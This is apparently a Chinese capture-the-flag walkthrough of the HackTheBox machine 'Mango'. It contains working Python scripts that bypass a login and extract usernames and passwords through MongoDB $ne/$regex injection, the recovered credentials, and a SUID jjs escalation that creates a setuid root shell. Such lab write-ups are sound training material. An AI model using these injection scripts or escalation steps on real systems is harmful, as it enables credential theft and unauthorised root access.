介绍 操作系统:Linux 难度:中等 点数:30 发行:2019年10月26日 IP:10.10.10.162
user一血用时:04小时28分58秒。 root一血用时:05小时14分45秒。
看来是真特么的耗时间
信息收集 上nmap
1 2 3 4 5 6 C:\Users\HASEE>nmap -p- --min-rate=1000 -T4 -v -sV 10.10.10.162 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 C:\Users\HASEE>nmap -p 22,80,443 -A -v 10.10.10.162 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA) | 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA) |_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: 403 Forbidden 443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Mango | Search Base | ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN | Issuer: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN | Public Key type : rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2019-09-27T14:21:19 | Not valid after: 2020-09-26T14:21:19 | MD5: b797 d14d 485f eac3 5cc6 2fed bb7a 2ce6 |_SHA-1: b329 9eca 2892 af1b 5895 053b f30e 861f 1c03 db95 |_ssl-date : TLS randomness does not represent time | tls-alpn: |_ http/1.1
Nmap扫描显示运行其通常服务的端口22、80和443。此外,Nmap还发现了一个名为stage -order.mango的vhost。在SSL证书中提到的htb。添加mango.htb和staging-order.mango.htb到/etc/hosts,然后继续枚举。
浏览到端口80将返回一个403禁止错误,然而,HTTPS网站显示了一个搜索引擎。
页面只是刷新,搜索时不返回任何结果。第二个vhost在HTTPS上托管返回相同的页面。然而,HTTP网站却只是显示了一个登录页面。
尝试使用通用默认凭据登录失败。在Burp中拦截请求并检查登录请求。
注入引号没有返回错误或改变响应。由于网站正在运行PHP,可以尝试使用类型杂耍绕过身份验证。 这可以通过向请求参数添加[]来实现,这使得PHP将它们作为数组使用。如果存在任何弱比较,则将绕过身份验证。
会导致失败的尝试。尝试一下NoSQL注入攻击,比如MongoDB身份验证绕过。MongoDB使用$ne (not equal)操作符来比较值。这个操作符可以通过数组语法传递给PHP,它最终会被注入到MongoDB查询中。
这是一个例子MongoDB查询找到一个用户
1 db.users.find({ username: "admin" , password: "admin" });
上面的查询将导致由于密码错误而导致登录失败。发送参数password[$ne]=admin的请求将导致查询:
1 db.users.find({ username: "admin" , password: { $ne : "admin" } });
这将返回true,因为admin的密码不等于admin,会成功地绕过登录。
$ne的注入被发现是成功的,并且页面将重定向到home.php作为admin。使用登录请求重复相同的过程将返回以下页面。
MongoDB注入 因为主页没有返回任何有用的信息。可以尝试使用$regex操作符从Mongo数据库中提取数据。$regex操作符可用于使用正则表达式查找数据。
例如,下面的查询将搜索匹配
regex a.*
的用户名,匹配任何包含a的用户名。
1 db.users.find({ username: { $regex : "a.*" , password: { $ne : "admin" } });
用b.*替换a.*返回200响应,这意味着没有包含b的用户名。编写一个使用此逻辑发现用户名的脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from requests import post from string import lowercase url = 'http://staging-order.mango.htb/' def sendPayload(): for char in lowercase: regex = '{}.*' .format(char) data = { 'username[$regex]' : regex, 'password[$ne]' : 'password' , 'login' : 'login' } response = post(url, data = data, allow_redirects=False) if response.status_code == 302: print "Found valid letter: {}" .format(char) def getUser(): sendPayload() if __name__ == '__main__' : getUser()
代码已经缩进好了,直接复制粘贴就可以使用
运行代码,列出DB中所有用户名中出现的所有字符。
1 2 3 4 5 6 7 Found valid letter: a Found valid letter: d Found valid letter: g Found valid letter: i Found valid letter: m Found valid letter: n Found valid letter: o
脚本发现了7个有效字符,即a、d、g、i、m、n、o。现在已经减少了字符集,可以尝试显示实际的用户名。regex中的插入符号^用于标记单词的开头。例如,模式^a.*仅当用户名以a开头时才返回true。 类似地,模式^ad.*如果以ad开头的用户名存在,则返回true,以此类推。使用这个逻辑更新脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from requests import post from string import lowercase url = 'http://staging-order.mango.htb/' valid = ['a' , 'd' , 'g' , 'i' , 'm' , 'n' , 'o' ] def sendPayload(word): regex = '^{}.*' .format(word) data = { 'username[$regex]' : regex, 'password[$ne]' : 'password' , 'login' : 'login' } response = post(url, data = data, allow_redirects=False) if response.status_code == 302: return word else : return None def getUser(): for char in valid: if sendPayload(char) != None: print "Found username starting with {}" .format(char) if __name__ == '__main__' : getUser()
脚本循环遍历字符集,查找以这些字母中的任何一个开头的用户名。 运行脚本后出现下面的结果
1 2 Found username starting with a Found username starting with m
发现DB分别包含以a和m开头的用户名。更新脚本以显示真正的用户名。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from requests import post from string import lowercase url = 'http://staging-order.mango.htb/' valid = ['a' , 'd' , 'g' , 'i' , 'm' , 'n' , 'o' ] def sendPayload(word): for char in valid: regex = '^{}.*' .format(word + char) data = { 'username[$regex]' : regex, 'password[$ne]' : 'password' , 'login' : 'login' } response = post(url, data = data, allow_redirects=False) if response.status_code == 302: return char return None def getUser(): for ch in ['a' , 'm' ]: username = ch while True: char = sendPayload(username) if char != None: username += char else : print "Username found: {}" .format(username) break if __name__ == '__main__' : getUser()
脚本循环遍历有效字符并查找以a和m开头的用户名。
包含302状态码(URL重定向)的HTTP响应包含一个有效字符,该脚本输出结果如下。
1 2 Username found: admin Username found: mango
标识了两个有效的用户名,admin和mango。可以尝试使用相同的逻辑来识别他们的密码。
修改脚本如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from requests import post from string import printable url = 'http://staging-order.mango.htb/' def sendPayload(user): valid = [] for char in printable: regex = '{}.*' .format(char) data = { 'username' : user, 'password[$regex]' : regex, 'login' : 'login' } response = post(url, data = data, allow_redirects=False) if response.status_code == 302: valid.append(char) return valid def getUser(): for user in ['admin' , 'mango' ]: valid = sendPayload(user) print "Valid characters for {}: {}" .format(user, valid) if __name__ == '__main__' : getUser()
该脚本遍历所有可打印的ASCII字符。分别为两个用户返回有效的字符集,从而减少了下一阶段的请求数量。
运行结果如下
1 2 Valid characters for admin: ['0' , '2' , '3' , '9' , 'c' , 't' , 'B' , 'K' , 'S' , '!' , '#' , '$' , '.' , '>' , '\\' , '^' , '|' ] Valid characters for mango: ['3' , '5' , '8' , 'f' , 'h' , 'm' , 'H' , 'K' , 'R' , 'U' , 'X' , '$' , '.' , '\\' , ']' , '^' , '{' , '|' , '~' ]
以上面使用python脚本fuzz出的信息立足,爆破两个用户的密码 现在已经有了两个密码的字符集,更新脚本来查找密码。字符
应该用反斜杠进行转义,因为它们在正则表达式中具有特殊意义,并且可能导致错误的否定。
依照之前爆破用户名脚本的方法修改脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from requests import post from string import printable url = 'http://staging-order.mango.htb/' admin_pass = ['0' , '2' , '3' , '9' , 'c' , 't' , 'B' , 'K' , 'S' , '!' , '#' , '\\$' , '\\.' , '>' , '\\\\' , '\\^' , '\\|' ] mango_pass = ['3' , '5' , '8' , 'f' , 'h' , 'm' , 'H' , 'K' , 'R' , 'U' , 'X' , '\\$' , '\\.' , '\\\\' , ']' , '\\^' , '{' , '\\|' , '~' ] def sendPayload(user, word): valid = admin_pass if user == 'admin' else mango_pass for char in valid: regex = '^{}.*' .format(word + char) data = { 'username' : user, 'password[$regex]' : regex, 'login' : 'login' } response = post(url, data = data, allow_redirects=False) if response.status_code == 302: return char return None def getUser(): for user in ['admin' , 'mango' ]: password = '' while True: char = sendPayload(user, password) if char != None: password += char else : print "Password for {} found: {}" .format(user, password) break if __name__ == '__main__' : getUser()
该脚本对两个用户都使用有效的字符集,并逐个字符地显示他们的密码。
1 2 Password for admin found: t9KcS3>!0B Password for mango found: h3mXK8RhU~f{]f5H
两个用户的密码都被成功地获取了。用户mango的凭证可以用来通过SSH登录。
getshell & 提权 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 Connecting to 10.10.10.162:22... Connection established. To escape to local shell, press 'Ctrl+Alt+]' . Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Tue Apr 21 05:18:56 UTC 2020 System load: 0.08 Processes: 99 Usage of /: 25.8% of 19.56GB Users logged in : 0 Memory usage: 14% IP address for ens33: 10.10.10.162 Swap usage: 0% * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 122 packages can be updated. 18 updates are security updates. Last login: Mon Sep 30 02:58:45 2019 from 192.168.142.138 /usr/bin/xauth: file /home/mango/.Xauthority does not exist mango@mango:~$ id uid=1000(mango) gid=1000(mango) groups =1000(mango) mango@mango:~$ whoami mango mango@mango:~$ sudo -l [sudo] password for mango: Sorry, user mango may not run sudo on mango.
找到user.txt但是用户权限不足
1 2 3 4 5 mango@mango:/home$ cd admin mango@mango:/home/admin$ ls user.txt mango@mango:/home/admin$ cat user.txt cat : user.txt: Permission denied
切换用户,获取user
1 2 3 4 5 6 7 8 9 10 mango@mango:/home/admin$ su admin Password: $ id uid=4000000000(admin) gid=1001(admin) groups =1001(admin) $ whoami admin $ ls user.txt $ cat user.txt 79bf31c6c6eb38a8567832f7f8b47e92
下面就是提权步骤了
搜索SUID文件会发现两个不常见的二进制文件,run-mailcap和jjs。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 $ find / -perm -4000 2>/dev/null /bin/fusermount /bin/mount /bin/umount /bin/su /bin/ping /snap/core/7713/bin/mount /snap/core/7713/bin/ping /snap/core/7713/bin/ping6 /snap/core/7713/bin/su /snap/core/7713/bin/umount /snap/core/7713/usr/bin/chfn /snap/core/7713/usr/bin/chsh /snap/core/7713/usr/bin/gpasswd /snap/core/7713/usr/bin/newgrp /snap/core/7713/usr/bin/passwd /snap/core/7713/usr/bin/sudo /snap/core/7713/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/7713/usr/lib/openssh/ssh-keysign /snap/core/7713/usr/lib/snapd/snap-confine /snap/core/7713/usr/sbin/pppd /snap/core/6350/bin/mount /snap/core/6350/bin/ping /snap/core/6350/bin/ping6 /snap/core/6350/bin/su /snap/core/6350/bin/umount /snap/core/6350/usr/bin/chfn /snap/core/6350/usr/bin/chsh /snap/core/6350/usr/bin/gpasswd /snap/core/6350/usr/bin/newgrp /snap/core/6350/usr/bin/passwd /snap/core/6350/usr/bin/sudo /snap/core/6350/usr/lib/dbus-1.0/dbus-daemon-launch-helper /snap/core/6350/usr/lib/openssh/ssh-keysign /snap/core/6350/usr/lib/snapd/snap-confine /snap/core/6350/usr/sbin/pppd /usr/bin/newuidmap /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/passwd /usr/bin/newgidmap /usr/bin/run-mailcap /usr/bin/chfn /usr/bin/chsh /usr/bin/sudo /usr/bin/at /usr/bin/traceroute6.iputils /usr/bin/pkexec /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs /usr/lib/openssh/ssh-keysign /usr/lib/snapd/snap-confine
参考GTFOBins
使用Java的Runtime.Exec()函数生成一个shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 $ jjs Warning: The jjs tool is planned to be removed from a future JDK release jjs> Java.type ('java.lang.Runtime' ).getRuntime().exec ('cp /bin/sh /tmp/sh' ).waitFor() 0 jjs> Java.type ('java.lang.Runtime' ).getRuntime().exec ('chmod u+s /tmp/sh' ).waitFor() 0 jjs> $ cd /tmp $ ls hsperfdata_root systemd-private-daa6581d1d8b4f4ca498d538b165beb7-apache2.service-TSRSE0 mongodb-27017.sock systemd-private-daa6581d1d8b4f4ca498d538b165beb7-systemd-resolved.service-VipHFk sh systemd-private-daa6581d1d8b4f4ca498d538b165beb7-systemd-timesyncd.service-1Ap17W $ ./sh -p uid=4000000000(admin) gid=1001(admin) euid=0(root) groups =1001(admin) root root.txt 8a8ef79a7a2fbb01ea81688424e9ab15
成功的获取了root权限并取得了flag
知识点总结:
向php请求参数添加[],使用弱比较绕过身份验证
NoSQL注入攻击,$ne注入
MongoDB注入
正则匹配fuzz查询用户名以及密码
编写python fuzz脚本根据302,200返回页面判断参数是否存在
GTFOBins jjs 使用Java的Runtime.Exec()函数生成一个shell
chmod u+s /tmp/sh更改shell权限,并使用-p参数提升为root权限
Game over
The end,to be continue…